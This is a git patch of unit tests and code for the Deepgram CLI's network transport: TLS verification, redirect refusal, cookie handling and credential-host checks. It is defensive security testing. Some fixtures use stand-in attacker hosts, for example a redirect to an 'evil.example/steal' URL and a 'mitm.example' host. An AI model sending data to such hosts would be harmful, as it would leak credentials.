+    shared = fresh_transport.shared_client()
+    assert not _verifies(shared, "https://127.0.0.1:8443/v1/models")
+    assert not _verifies(shared, "https://localhost:8443/v1/models")
+    assert not _verifies(shared, "https://[::1]:8443/v1/models")
+    for url in (
+        "https://api.deepgram.com/v1/models",
+        "https://mitm.example:8443/v1/models",
+        "https://127.0.0.2:8443/v1/models",
+    ):
+        assert _verifies(shared, url), url
+    # dg api's client verifies every host, loopback included (as in 0.4.1).
+    verified = fresh_transport.verified_client()
+    assert verified is not shared
+    assert _verifies(verified, "https://127.0.0.1:8443/v1/projects")
+    assert verified.follow_redirects is False
+
+
+@pytest.mark.parametrize("value", ["0", "false", "no", ""])
+def test_shared_client_verifies_for_other_values(fresh_transport, monkeypatch, value):
+    monkeypatch.setenv("DEEPGRAM_CLI_INSECURE", value)
+    shared = fresh_transport.shared_client()
+    assert _verifies(shared, "https://127.0.0.1:8443/v1/models")
+    assert _verifies(shared, "https://mitm.example:8443/v1/models")
+    assert fresh_transport.verified_client() is shared  # one client per process
+
+
+def test_shared_client_verifies_for_agents(fresh_transport, monkeypatch, capsys):
+    monkeypatch.setattr(output, "is_ai_agent", lambda: True)
+    shared = fresh_transport.shared_client()
+    assert _verifies(shared, "https://127.0.0.1:8443/v1/models")
+    assert "Ignoring DEEPGRAM_CLI_INSECURE" in capsys.readouterr().err
+
+
+def test_shared_client_loopback_goes_direct(fresh_transport, proxy, capsys):
+    server = _Recorder()
+    try:
+        try:
+            fresh_transport.shared_client().get(
+                f"https://127.0.0.1:{server.port}/v1/models", timeout=3
+            )
+        except httpx.HTTPError:
+            pass
+    finally:
+        server.close()
+    assert proxy.lines == []
+    assert len(server.lines) == 1  # TLS ClientHello, straight to the server
+
+
+def test_shared_client_remote_host_keeps_proxy_and_warns(fresh_transport, proxy, capsys):
+    for _ in range(2):
+        try:
+            fresh_transport.shared_client().get(
+                "https://api.deepgram.example/v1/models", timeout=3
+            )
+        except httpx.HTTPError:
+            pass
+    assert proxy.lines == ["CONNECT api.deepgram.example:443 HTTP/1.1"] * 2
+    err = capsys.readouterr().err
+    assert err.count("DEEPGRAM_CLI_INSECURE applies only to localhost") == 1
diff --git a/packages/deepctl-core/tests/unit/test_client.py b/packages/deepctl-core/tests/unit/test_client.py
index c6bfeb68..ac8b104a 100644
--- a/packages/deepctl-core/tests/unit/test_client.py
+++ b/packages/deepctl-core/tests/unit/test_client.py
@@ -72,10 +72,13 @@ def test_client_property_creates_client(
         # Verify auth guard was called
         mock_auth_manager.guard.assert_called_once()
 
-        # Verify DGClient was created with keyword args, without redirects
+        # Verify DGClient was created with keyword args, on the shared
+        # client, which follows no redirects
         assert mock_dg_client.called
         assert mock_dg_client.call_args.kwargs["api_key"] == "sk-test"
-        assert mock_dg_client.call_args.kwargs["follow_redirects"] is False
+        http = mock_dg_client.call_args.kwargs["httpx_client"]
+        assert http is transport.shared_client()
+        assert http.follow_redirects is False
 
         # Verify client is cached
         assert client._client == mock_instance
@@ -130,8 +133,8 @@ def test_create_client_with_custom_base_url(
         mock_dg_client.assert_called_once_with(
             api_key="sk-test",
             httpx_client=transport.shared_client(),
+            session_id=transport.session_id(),
             environment=mock_env.return_value,
-            follow_redirects=False,
         )
 
     @patch("deepctl_core.client.DGClient")
diff --git a/packages/deepctl-core/tests/unit/test_transport.py b/packages/deepctl-core/tests/unit/test_transport.py
index 3b980e6c..03fb23f5 100644
--- a/packages/deepctl-core/tests/unit/test_transport.py
+++ b/packages/deepctl-core/tests/unit/test_transport.py
@@ -74,7 +74,7 @@ def record(request: httpx.Request) -> httpx.Response:
         seen.append(request)
         return handler(request)
 
-    # Same redirect setting as transport.shared_client().
+    # _set_client applies shared_client()'s settings (no redirects, no cookies).
     transport._set_client(
         httpx.Client(transport=httpx.MockTransport(record), follow_redirects=False)
     )
@@ -228,11 +228,112 @@ def test_network_rows(factory, reason):
         assert err.error == (
             "The connection to api.deepgram.com dropped before the response finished."
         )
+    elif reason in ("connection reset", "connection closed"):
+        # Post-connect: the request had started.
+        assert err.messages == transport.NETWORK_DROPPED
+        assert err.error == (
+            "The connection to api.deepgram.com dropped before the response "
+            f"was complete ({reason})."
+        )
     else:
         assert err.messages == transport.CODES["network_unavailable"]
         assert err.error == f"Couldn't reach api.deepgram.com: {reason}."
 
 
+@pytest.mark.parametrize(
+    ("factory", "reason", "messages"),
+    [
+        # A reset or close while connecting is still "couldn't reach".
+        (
+            _chained(
+                httpx.ConnectError, ConnectionResetError(54, "Connection reset by peer")
+            ),
+            "connection reset",
+            "E-NETWORK",
+        ),
+        (
+            lambda r: httpx.ConnectError("Connection reset by peer", request=r),
+            "connection reset",
+            "E-NETWORK",
+        ),
+        # TLS failing on a read is a TLS failure, not a drop.
+        (
+            _chained(httpx.ReadError, ssl.SSLError(1, "[SSL] record layer failure")),
+            "TLS handshake failed",
+            "E-NETWORK",
+        ),
+        # After connect: the upload was being written, or the response read.
+        (
+            _chained(httpx.WriteError, BrokenPipeError(32, "Broken pipe")),
+            "connection reset",
+            "E-NETWORK-DROPPED",
+        ),
+        (
+            _chained(
+                httpx.WriteError, ConnectionResetError(104, "Connection reset by peer")
+            ),
+            "connection reset",
+            "E-NETWORK-DROPPED",
+        ),
+        (
+            lambda r: httpx.ReadError("", request=r),
+            "connection reset",
+            "E-NETWORK-DROPPED",
+        ),
+    ],
+)
+def test_dropped_only_after_connect(factory, reason, messages):
+    err = mapped(raising(factory))
+    assert err.code == "network_unavailable"
+    assert err.details == {"host": "api.deepgram.com", "reason": reason}
+    assert err.messages[0] == messages
+
+
+def _reset_after_full_body() -> tuple[int, threading.Thread]:
+    """A loopback server that reads the whole request, then resets."""
+    import struct
+
+    listener = socket.socket()
+    listener.bind(("127.0.0.1", 0))
+    listener.listen(1)
+
+    def serve() -> None:
+        conn, _ = listener.accept()
+        data = b""
+        while b"\r\n\r\n" not in data:
+            data += conn.recv(65536)
+        head, _, body = data.partition(b"\r\n\r\n")
+        length = next(
+            int(line.split(b":", 1)[1])
+            for line in head.split(b"\r\n")
+            if line.lower().startswith(b"content-length:")
+        )
+        while len(body) < length:
+            body += conn.recv(65536)
+        conn.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack("ii", 1, 0))
+        conn.close()
+        listener.close()
+
+    thread = threading.Thread(target=serve, daemon=True)
+    thread.start()
+    return listener.getsockname()[1], thread
+
+
+def test_reset_after_the_full_body_is_dropped_not_unreachable():
+    """The whole upload arrived, then the server reset. That isn't
+    "couldn't reach": the request had started (E-NETWORK-DROPPED)."""
+    port, thread = _reset_after_full_body()
+    with httpx.Client() as client, pytest.raises(httpx.TransportError) as raised:
+        client.post(f"http://127.0.0.1:{port}/v1/listen", content=b"x" * 3145729)
+    thread.join(5)
+    err = transport.map_exception(raised.value)
+    assert err is not None and err.code == "network_unavailable"
+    # macOS raises ReadError (reset); Linux may see EOF (closed) instead.
+    assert err.details["reason"] in ("connection reset", "connection closed")
+    assert err.messages == transport.NETWORK_DROPPED
+    assert err.error.startswith("The connection to 127.0.0.1 dropped before")
+
+
 def test_unreadable_2xx_hint_names_host_and_prog(monkeypatch):
     err = mapped(status(200, b"<html>sign in</html>"))
     payload = _render(err, monkeypatch, agentic=False, hard=False)
@@ -308,14 +409,70 @@ def broken(*args, **kwargs):
 def test_every_code_is_catalogued():
     for code, ids in [
         *transport.CODES.items(),
+        ("dropped", transport.NETWORK_DROPPED),
         ("cut", transport.NETWORK_CUT),
         ("unreadable", transport.NETWORK_UNREADABLE),
+        ("redirect", transport.NETWORK_REDIRECT),
     ]:
         for message_id in ids:
             if message_id:
                 assert message_id in transport.STRINGS, (code, message_id)
 
 
+# What dg prints for a refused redirect: 0.4.1's text, origins only.
+_REDIRECT_CASES = [
+    (
+        {"command": "dg listen"},
+        "https://api.deepgram.com answered with a redirect to "
+        "https://evil.example. dg listen doesn't follow redirects, so nothing "
+        "was sent there.",
+    ),
+    (
+        {"command": "dg listen", "payload": "audio"},
+        "https://api.deepgram.com answered with a redirect to "
+        "https://evil.example. dg listen doesn't follow redirects, so no audio "
+        "was sent.",
+    ),
+    (
+        {"command": "dg speak", "payload": "text"},
+        "https://api.deepgram.com answered with a redirect to "
+        "https://evil.example. dg speak doesn't follow redirects, so no text "
+        "was sent.",
+    ),
+]
+
+
+def _refused(**kwargs: Any) -> RedirectRefused:
+    return transport.redirect_refused(
+        "https://api.deepgram.com/v1/listen?model=nova-3",
+        "https://evil.example/steal?k=1",
+        **kwargs,
+    )
+
+
+@pytest.mark.parametrize(("kwargs", "printed"), _REDIRECT_CASES)
+def test_redirect_refusal_prints_e_network_redirect(kwargs, printed):
+    """The printed refusal is E-NETWORK-REDIRECT filled in, so the catalogue
+    entry that holds that string is the text users see."""
+    err = _refused(**kwargs)
+    assert err.message == err.error == printed
+    assert err.messages[0] == "E-NETWORK-REDIRECT"
+    assert transport.STRINGS["E-NETWORK-REDIRECT"].format(**err.values) == printed
+
+
+@pytest.mark.skipif(
+    not os.environ.get("DG_ERROR_CODES_JSON"),
+    reason="DG_ERROR_CODES_JSON names no error catalogue file",
+)
+@pytest.mark.parametrize(("kwargs", "printed"), _REDIRECT_CASES)
+def test_catalogue_redirect_text_is_what_dg_prints(kwargs, printed):
+    catalogue = json.loads(Path(os.environ["DG_ERROR_CODES_JSON"]).read_text())
+    template = catalogue["strings"]["E-NETWORK-REDIRECT"]
+    for name in ("origin", "location_origin", "command", "sent"):
+        assert "{%s}" % name in catalogue["placeholders"], name
+    assert template.format(**_refused(**kwargs).values) == printed
+
+
 @pytest.mark.skipif(
     not os.environ.get("DG_ERROR_CODES_JSON"),
     reason="DG_ERROR_CODES_JSON names no error catalogue file",
@@ -343,13 +500,26 @@ def test_strings_match_catalogue():
         assert message.get("hint_automation") == automation
     entry = catalogue["codes"]["network_unavailable"]
     for extra, reason in (
+        (transport.NETWORK_DROPPED, transport.REASON_RESET),
+        (transport.NETWORK_DROPPED, transport.REASON_CLOSED),
         (transport.NETWORK_CUT, "response cut off"),
         (transport.NETWORK_UNREADABLE, "unreadable response"),
+        (transport.NETWORK_REDIRECT, transport.REASON_REDIRECT),
     ):
         message = next(m for m in entry["messages"] if m["id"] == extra[0])
         assert (message["hint_human"], message["hint_agent"]) == extra[1:3]
         assert "hint_automation" not in message
-        assert entry["details_values"][extra[0]] == {"reason": [reason]}
+        assert reason in entry["details_values"][extra[0]]["reason"]
+    # A 3xx with credentials isn't followed, and has its own message.
+    assert transport.REASON_REDIRECT not in (
+        entry["details_values"]["E-NETWORK-UNREADABLE"]["reason"]
+    )
+    assert catalogue["transport_mapping"][0][0].split("|")[-1] == "3xx"
+    for message_id in ("W-ENV-PLACEHOLDER", "W-KEYRING-TIMEOUT"):
+        from deepctl_core import credentials
+
+        text = getattr(credentials, message_id.replace("-", "_"))
+        assert catalogue["strings"][message_id] == text
     env = catalogue["codes"]["auth_invalid"]["env_key_variant"]
     assert env == {
         "hint_agent": "A-AUTH-INVALID-ENV",
@@ -734,10 +904,11 @@ def handler(request):
         return httpx.Response(200, json={"models": []})
 
     client, _ = facade(handler)
-    with pytest.raises(RedirectRefused):
+    with pytest.raises(TransportError) as err:
         client.list_models()
     assert [r.url.host for r in seen] == ["api.deepgram.com"]
     assert seen[0].headers["Authorization"] == f"Token {KEY}"
+    assert err.value.details["reason"] == "unexpected redirect"
 
 
 def test_shared_client_is_lazy_and_single():
@@ -758,3 +929,321 @@ def test_print_warning_ignore_quiet(ignore_quiet, monkeypatch, capsys):
     monkeypatch.setitem(output._output_config, "agentic", True)
     output.print_warning("needed", stderr=True, ignore_quiet=ignore_quiet)
     assert ("WARN: needed" in capsys.readouterr().err) is ignore_quiet
+
+
+# ── One Transport ────────────────────────────────────────────────────
+
+
+@pytest.mark.parametrize(
+    ("base", "rest", "ws"),
+    [
+        (
+            "https://api.deepgram.com",
+            "https://api.deepgram.com",
+            "wss://api.deepgram.com",
+        ),
+        ("http://127.0.0.1:8080", "http://127.0.0.1:8080", "ws://127.0.0.1:8080"),
+        ("ws://127.0.0.1:8080/x", "http://127.0.0.1:8080/x", "ws://127.0.0.1:8080/x"),
+        ("wss://h.example:9", "https://h.example:9", "wss://h.example:9"),
+        ("h.example", "https://h.example", "wss://h.example"),
+    ],
+)
+def test_base_derivation(base, rest, ws):
+    assert transport.rest_url(base) == rest
+    assert transport.ws_url(base) == ws
+    assert transport.ws_url(transport.rest_url(base)) == ws
+
+
+def test_transport_bases_come_from_the_host_check(monkeypatch):
+    monkeypatch.setenv("DEEPGRAM_BASE_URL", "http://127.0.0.1:8080/")
+    t = transport.Transport(Config(config_path=str(Path.cwd() / "none.yaml")))
+    assert t.rest_base() == "http://127.0.0.1:8080"
+    assert t.ws_base() == "ws://127.0.0.1:8080"
+    assert t.auth_headers(KEY) == transport.request_headers(KEY)
+    assert t.auth_headers(KEY)["Authorization"] == f"Token {KEY}"
+    assert t.client is transport.shared_client()
+
+
+def test_request_headers_are_the_sdk_clients_headers(monkeypatch):
+    """dg's own requests and the SDK's carry the same User-Agent, X-Fern
+    headers, session ID and Authorization: one run, one session ID."""
+    monkeypatch.setenv("DEEPGRAM_BASE_URL", "http://127.0.0.1:8080/")
+    t = transport.Transport(Config(config_path=str(Path.cwd() / "none.yaml")))
+    sdk = t.sdk_client(KEY)
+    assert sdk._client_wrapper.get_headers() == t.auth_headers(KEY)
+    sid = t.auth_headers(KEY)[transport.SESSION_HEADER]
+    assert sid == transport.session_id() == sdk.session_id
+    assert len(sid) == 36
+    assert t.auth_headers("sk-other")[transport.SESSION_HEADER] == sid
+
+
+def test_no_header_for_a_refused_host(monkeypatch):
+    monkeypatch.setattr(output, "is_ai_agent", lambda: True)
+    monkeypatch.setenv("DEEPGRAM_BASE_URL", "http://127.0.0.1:8080")
+    t = transport.Transport(Config(config_path=str(Path.cwd() / "none.yaml")))
+    with pytest.raises(hosts.CredentialHostError):
+        t.auth_headers(KEY)
+    with pytest.raises(hosts.CredentialHostError):
+        t.sdk_client(KEY)
+
+
+def test_default_host_is_hosts_constant():
+    assert transport.default_host() == "api.deepgram.com"
+    assert f"https://{transport.default_host()}" == hosts.DEFAULT_BASE_URL
+
+
+def test_backend_seam(monkeypatch):
+    calls = []
+
+    class Fake:
+        name = "fake"
+
+        def sdk_client(self, api_key, rest_base, ws_base):
+            calls.append((api_key, rest_base, ws_base))
+            return "sdk"
+
+    monkeypatch.setenv("DEEPGRAM_BASE_URL", "http://127.0.0.1:8080")
+    config = Config(config_path=str(Path.cwd() / "none.yaml"))
+    client = DeepgramClient(config, AuthManager(config))
+    assert isinstance(client.transport.backend, transport.RestBackend)
+    client.transport.backend = Fake()
+    assert client.client == "sdk"
+    assert calls == [(KEY, "http://127.0.0.1:8080", "ws://127.0.0.1:8080")]
+
+
+@pytest.mark.parametrize("code", [301, 302, 303, 307, 308])
+@pytest.mark.parametrize(
+    "call",
+    [
+        lambda c: c.list_models(),
+        lambda c: c.get_projects(),
+    ],
+)
+def test_redirects_are_not_followed(code, call):
+    def handler(request: httpx.Request) -> httpx.Response:
+        return httpx.Response(
+            code, headers={"location": "https://sink.example/v1/projects"}
+        )
+
+    client, seen = facade(handler)
+    with pytest.raises(TransportError) as err:
+        call(client)
+    assert [r.url.host for r in seen] == ["api.deepgram.com"]
+    assert err.value.code == "network_unavailable"
+    assert err.value.messages == transport.NETWORK_REDIRECT
+    assert err.value.details == {
+        "host": "api.deepgram.com",
+        "reason": "unexpected redirect",
+    }
+    assert err.value.error == (
+        "https://api.deepgram.com answered with a redirect to "
+        "https://sink.example. dg doesn't follow redirects, so nothing was "
+        "sent there."
+    )
+
+
+@pytest.mark.parametrize(
+    ("agentic", "hard", "hint"),
+    [
+        (
+            False,
+            False,
+            "A network sign-in page or proxy may be redirecting requests. If "
+            "api.deepgram.com is your own server, use the address it redirects to.",
+        ),
+        (
+            True,
+            True,
+            "Tell the user api.deepgram.com redirected the request. Don't retry "
+            "until they have checked the network or the configured URL.",
+        ),
+    ],
+)
+def test_redirect_hints(monkeypatch, agentic, hard, hint):
+    err = mapped(status(302, headers={"location": "https://sink.example/"}))
+    payload = _render(err, monkeypatch, agentic=agentic, hard=hard)
+    assert payload["hint"] == hint
+    assert payload["next_step"] is None
+
+
+def test_redirect_on_upload_sends_the_body_once(tmp_path):
+    audio = tmp_path / "a.wav"
+    audio.write_bytes(b"RIFF" + b"\0" * 64)
+
+    def handler(request: httpx.Request) -> httpx.Response:
+        return httpx.Response(307, headers={"location": "https://sink.example/x"})
+
+    client, seen = facade(handler)
+    with pytest.raises(TransportError) as err:
+        client.transcribe_file(audio)
+    assert len(seen) == 1 and seen[0].url.path == "/v1/listen"
+    assert err.value.details["reason"] == "unexpected redirect"
+
+
+def test_shared_client_follows_no_redirects(monkeypatch):
+    created = {}
+
+    class Recorder(httpx.Client):
+        def __init__(self, **kwargs):
+            created.update(kwargs)
+            super().__init__(**kwargs)
+
+    monkeypatch.setattr(httpx, "Client", Recorder)
+    monkeypatch.delenv("DEEPGRAM_CLI_INSECURE", raising=False)
+    client = transport.shared_client()
+    assert created["follow_redirects"] is False
+    assert created.get("verify", True) is True
+    assert "mounts" not in created
+    assert client.follow_redirects is False
+
+
+@pytest.mark.parametrize(("agent", "loopback_mounts"), [(False, True), (True, False)])
+def test_insecure_flag_only_for_a_person(monkeypatch, capsys, agent, loopback_mounts):
+    created = {}
+
+    class Recorder(httpx.Client):
+        def __init__(self, **kwargs):
+            created.update(kwargs)
+            super().__init__(**kwargs)
+
+    monkeypatch.setattr(httpx, "Client", Recorder)
+    monkeypatch.setenv("DEEPGRAM_CLI_INSECURE", "1")
+    monkeypatch.setattr(output, "is_ai_agent", lambda: agent)
+    transport.shared_client()
+    # Verification stays on; a person gets unverified loopback mounts only
+    # (test_auth_insecure.py checks hosts and dg api's verified client).
+    assert created.get("verify", True) is True
+    assert ("mounts" in created) is loopback_mounts
+    err = capsys.readouterr().err
+    assert ("Ignoring DEEPGRAM_CLI_INSECURE" in err) is agent
+
+
+def test_cookies_are_never_sent_back():
+    def handler(request: httpx.Request) -> httpx.Response:
+        return httpx.Response(
+            200,
+            json={"models": []} if "models" in request.url.path else {"projects": []},
+            headers={"set-cookie": "sid=s3cr3t; Path=/; Domain=api.deepgram.com"},
+        )
+
+    client, seen = facade(handler)
+    client.list_models()
+    client.get_projects()
+    client.list_models()
+    assert len(seen) == 3
+    assert all("cookie" not in r.headers for r in seen)
+    assert len(transport.shared_client().cookies.jar) == 0
+
+
+def test_no_code_sets_cookies_on_the_shared_client():
+    """httpx copies the client's jar into each request, so a
+    cookie set in code would be sent anyway. Nothing may set one."""
+    import re
+
+    root = Path(__file__).resolve().parents[3]  # packages/
+    offenders = []
+    files = list(root.glob("*/src/**/*.py"))
+    assert len(files) > 50
+    for path in files:
+        text = path.read_text(encoding="utf-8")
+        for number, line in enumerate(text.splitlines(), 1):
+            if re.search(r"\.cookies\.set\(|\bcookies\s*=", line):
+                offenders.append(f"{path.relative_to(root)}:{number}: {line.strip()}")
+    assert offenders == []
+
+
+# ── WebSocket handshake mapping ──────────────────────────────────────
+
+
+def _ws_refused(code: int, headers: dict | None = None) -> BaseException:
+    from websockets.datastructures import Headers
+    from websockets.exceptions import InvalidStatus
+    from websockets.http11 import Response
+
+    return InvalidStatus(Response(code, "x", Headers(headers or {}), b"{}"))
+
+
+@pytest.mark.parametrize(
+    ("code", "want"),
+    [
+        (401, "auth_invalid"),
+        (403, "auth_forbidden"),
+        (429, "rate_limited"),
+        (400, "invalid_argument"),
+        (500, "server_error"),
+        (503, "server_error"),
+        (302, "network_unavailable"),
+    ],
+)
+def test_ws_refused_upgrade_maps_by_status(code, want):
+    exc = _ws_refused(code, {"retry-after": "7", "dg-request-id": "r-1"})
+    mapped = transport.map_exception(exc)
+    assert mapped is not None and mapped.code == want
+    assert transport.map_ws_open(exc, host="api.deepgram.com").code == want
+    if code == 429:
+        assert mapped.details["retry_after"] == 7
+    if code == 302:
+        assert mapped.details["reason"] == "unexpected redirect"
+        assert mapped.messages == transport.NETWORK_REDIRECT
+
+
+def test_ws_legacy_invalid_status_code():
+    import warnings
+
+    with warnings.catch_warnings():
+        warnings.simplefilter("ignore", DeprecationWarning)
+        from websockets.datastructures import Headers
+        from websockets.exceptions import InvalidStatusCode
+
+        exc = InvalidStatusCode(401, Headers())
+    assert transport.map_exception(exc).code == "auth_invalid"
+
+
+@pytest.mark.parametrize(
+    ("inner", "code", "reason"),
+    [
+        (
+            socket.gaierror(-2, "Name or service not known"),
+            "network_unavailable",
+            "name resolution failed",
+        ),
+        (
+            ConnectionRefusedError(111, "refused"),
+            "network_unavailable",
+            "connection refused",
+        ),
+        (
+            ssl.SSLError(1, "CERTIFICATE_VERIFY_FAILED"),
+            "network_unavailable",
+            "TLS handshake failed",
+        ),
+        (TimeoutError(), "timeout", None),
+    ],
+)
+def test_ws_open_failures(inner, code, reason):
+    try:
+        try:
+            raise inner
+        except BaseException as cause:
+            raise RuntimeError("open failed") from cause
+    except RuntimeError as exc:
+        mapped = transport.map_ws_open(exc, host="api.deepgram.com")
+    assert mapped.code == code
+    assert mapped.details["host"] == "api.deepgram.com"
+    if reason:
+        assert mapped.details["reason"] == reason
+    else:
+        assert mapped.details["timeout_s"] == transport._seconds(
+            transport.WS_OPEN_TIMEOUT_S
+        )
+
+
+def test_unrelated_errors_are_not_ws_errors():
+    assert transport.map_exception(ValueError("x")) is None
+    assert transport.map_ws_open(ValueError("x"), host="h") is None
+
+
+def test_module_aliases_kept_for_w24_w25():
+    assert callable(transport.shared_client)
+    assert callable(transport.map_exception)
+    assert callable(transport.raise_for)
diff --git a/packages/deepctl-core/tests/unit/test_ws_handshake_errors.py b/packages/deepctl-core/tests/unit/test_ws_handshake_errors.py
new file mode 100644
index 00000000..17dd21bf
--- /dev/null
+++ b/packages/deepctl-core/tests/unit/test_ws_handshake_errors.py
@@ -0,0 +1,104 @@
+"""A WebSocket upgrade answered with something that isn't valid HTTP, and
+errors the client wraps for the SDK: plain words, no field dumps."""
+
+from __future__ import annotations
+
+import pytest
+from deepctl_core import transport
+
+websockets_exceptions = pytest.importorskip("websockets.exceptions")
+
+
+def _wrapped(cause: BaseException) -> BaseException:
+    from deepgram.core.api_error import ApiError
+
+    try:
+        try:
+            raise cause
+        except Exception as e:
+            raise ApiError(body=f"Text-to-speech streaming failed: {e}") from None
+    except ApiError as wrapped:
+        wrapped.__context__ = cause
+        return wrapped
+
+
+def test_invalid_http_answer_maps_to_unreadable():
+    exc = websockets_exceptions.InvalidMessage(
+        "did not receive a valid HTTP response"
+    )
+    exc.__cause__ = EOFError("connection closed while reading HTTP status line")
+    mapped = transport.map_exception(exc)
+    assert isinstance(mapped, transport.TransportError)
+    assert mapped.code == "network_unavailable"
+    assert mapped.details["reason"] == transport.REASON_UNREADABLE
+
+
+def test_invalid_header_maps_too():
+    mapped = transport.map_ws_open(
+        websockets_exceptions.InvalidHeader("Upgrade"), host="api.deepgram.com"
+    )
+    assert mapped is not None
+    assert mapped.code == "network_unavailable"
+    assert mapped.details == {
+        "host": "api.deepgram.com",
+        "reason": transport.REASON_UNREADABLE,
+    }
+
+
+def test_refused_status_still_maps_by_status():
+    from websockets.datastructures import Headers
+    from websockets.http11 import Response
+
+    response = Response(401, "Unauthorized", Headers(), b"")
+    mapped = transport.map_exception(websockets_exceptions.InvalidStatus(response))
+    assert mapped is not None
+    assert mapped.code == "auth_invalid"
+
+
+def test_plain_detail_skips_the_sdk_field_dump():
+    wrapped = _wrapped(RuntimeError("socket closed"))
+    assert "status_code" in str(wrapped)  # the dump this avoids
+    assert transport.plain_detail(wrapped) == "socket closed"
+
+
+def test_plain_detail_keeps_an_ordinary_message():
+    assert transport.plain_detail(ValueError("bad value")) == "bad value"
+    assert transport.plain_detail(ValueError()) == "ValueError"
+
+
+def test_plain_detail_keeps_an_api_error_with_a_status():
+    from deepgram.core.api_error import ApiError
+
+    err = ApiError(status_code=500, body="oops")
+    assert "500" in transport.plain_detail(err)
+
+
+def test_rest_redirect_names_the_running_command():
+    import click
+
+    @click.group(name="dg")
+    def root() -> None:
+        pass
+
+    @root.command(name="models")
+    def models() -> None:
+        err = transport.for_status(
+            307, {"location": "https://elsewhere.example/x"}, host="api.deepgram.com"
+        )
+        assert err is not None
+        click.echo(err.message)
+
+    from click.testing import CliRunner
+
+    result = CliRunner().invoke(root, ["models"])
+    assert "dg models doesn't follow redirects, so nothing was sent there." in (
+        " ".join(result.output.split())
+    ), result.output
+
+
+def test_rest_redirect_outside_a_command_says_dg():
+    err = transport.for_status(
+        307, {"location": "https://elsewhere.example/x"}, host="api.deepgram.com"
+    )
+    assert err is not None
+    assert "dg doesn't follow redirects" in err.message

From 85dedaf7cd78e00b7edf2b33e7ce41cc4dc27ae8 Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Sat, 31 Oct 2026 18:55:55 -0400
Subject: [PATCH 31/88] fix(debug): take the probe's and network's host from
 the transport

debug probe's upstream is the Transport's checked WebSocket base instead
of a hard-coded api.deepgram.com, so it follows the profile's base URL
and a refused host never gets the key. The Authorization header comes
from the Transport after its host check.

User-visible changes:
- An upstream that rejects the key at the upgrade (401) stops the proxy
  with the coded error, exit 1, because every connection would fail the
  same way. Other open streams are closed first, so it exits within
  seconds.
- Any other refused upgrade (including 403, which is about one request's
  scope), an unreachable upstream, or an open that takes over 10 s fails
  only that client's connection, with the coded error on stderr; the
  proxy keeps serving.
- The proxy's status lines go to stderr, so stdout holds only the
  result.

debug network's default endpoint, its latency row and its proxy advice
name the host from hosts.DEFAULT_BASE_URL, through the Transport. It
still sends no credentials. debug toolkit's examples build their
streaming URL from the same constant.

The one api.deepgram.com left in a .py source outside hosts.py is the
foreign-host hint in messages.py, which a person copies; it's marked
'host-literal: user text'.
---
 .../src/deepctl_cmd_debug_network/command.py  |  22 +-
 .../tests/unit/test_network_command.py        |  14 ++
 .../src/deepctl_cmd_debug_probe/command.py    |  36 ++-
 .../src/deepctl_cmd_debug_probe/proxy.py      | 106 +++++---
 .../tests/unit/test_probe.py                  | 235 +++++++++++++++++-
 .../tests/unit/test_proxy_loopback.py         | 142 ++++++++---
 .../src/deepctl_cmd_debug_toolkit/command.py  |  10 +-
 .../deepctl-core/src/deepctl_core/messages.py |   2 +-
 8 files changed, 484 insertions(+), 83 deletions(-)

diff --git a/packages/deepctl-cmd-debug-network/src/deepctl_cmd_debug_network/command.py b/packages/deepctl-cmd-debug-network/src/deepctl_cmd_debug_network/command.py
index d80b0fb8..fab19427 100644
--- a/packages/deepctl-cmd-debug-network/src/deepctl_cmd_debug_network/command.py
+++ b/packages/deepctl-cmd-debug-network/src/deepctl_cmd_debug_network/command.py
@@ -32,11 +32,15 @@
 
 console = Console()
 
-# Default Deepgram endpoints to test
-DEEPGRAM_ENDPOINTS = {
-    "api": "https://api.deepgram.com",
-    "auth": "https://auth.dx.deepgram.com",
-}
+
+def _default_host() -> str:
+    """The Deepgram API host (``hosts.DEFAULT_BASE_URL``, via the Transport).
+
+    The default endpoint only: this command sends no credentials anywhere.
+    """
+    from deepctl_core import transport
+
+    return transport.default_host()
 
 
 def _is_ssl_error(exc: BaseException) -> bool:
@@ -131,7 +135,7 @@ def get_arguments(self) -> list[dict[str, Any]]:
         return [
             {
                 "names": ["--endpoint", "-e"],
-                "help": ("Specific endpoint to test (default: api.deepgram.com)"),
+                "help": f"Specific endpoint to test (default: {_default_host()})",
                 "type": str,
                 "is_option": True,
             },
@@ -205,7 +209,7 @@ def handle(
         **kwargs: Any,
     ) -> Any:
         """Handle network debug command execution."""
-        endpoint = kwargs.get("endpoint") or "api.deepgram.com"
+        endpoint = kwargs.get("endpoint") or _default_host()
         verbose = kwargs.get("verbose", False)
         skip_commands = kwargs.get("skip_commands", False)
         timeout = kwargs.get("timeout", 10)
@@ -744,7 +748,7 @@ def _test_multi_region_latency(
     ) -> None:
         """Test latency to known Deepgram endpoints."""
         endpoints = [
-            ("api.deepgram.com", "Primary API"),
+            (_default_host(), "Primary API"),
         ]
 
         console.print("\n[bold]Multi-Region Latency:[/bold]")
@@ -1054,7 +1058,7 @@ def _generate_recommendations(self, result: NetworkDebugResult) -> None:
             recommendations.append(
                 "ℹ️  Proxy configuration detected. Ensure your proxy allows access to:"
             )
-            recommendations.append("   • api.deepgram.com (port 443)")
+            recommendations.append(f"   • {_default_host()} (port 443)")
             recommendations.append("   • Certificate validation endpoints (port 80)")
 
         # Display recommendations
diff --git a/packages/deepctl-cmd-debug-network/tests/unit/test_network_command.py b/packages/deepctl-cmd-debug-network/tests/unit/test_network_command.py
index 667a17dd..e795bd60 100644
--- a/packages/deepctl-cmd-debug-network/tests/unit/test_network_command.py
+++ b/packages/deepctl-cmd-debug-network/tests/unit/test_network_command.py
@@ -707,3 +707,17 @@ def test_missing_bundle_is_reported_like_requests(
     assert with_verify.success is False
     assert "Could not find a suitable TLS CA certificate bundle" in with_verify.error
     assert without_verify.success is True
+
+
+def test_default_endpoint_comes_from_hosts_default():
+    """The default host is hosts.DEFAULT_BASE_URL's, through the
+    Transport; debug network sends no credentials anywhere."""
+    from pathlib import Path
+
+    from deepctl_cmd_debug_network import command as network_module
+    from deepctl_core.hosts import DEFAULT_BASE_URL
+
+    assert f"https://{network_module._default_host()}" == DEFAULT_BASE_URL
+    source = Path(network_module.__file__).read_text(encoding="utf-8")
+    for credential_use in ("get_api_key", "Authorization", "auth_headers"):
+        assert credential_use not in source
diff --git a/packages/deepctl-cmd-debug-probe/src/deepctl_cmd_debug_probe/command.py b/packages/deepctl-cmd-debug-probe/src/deepctl_cmd_debug_probe/command.py
index fd67c637..8a4c08eb 100644
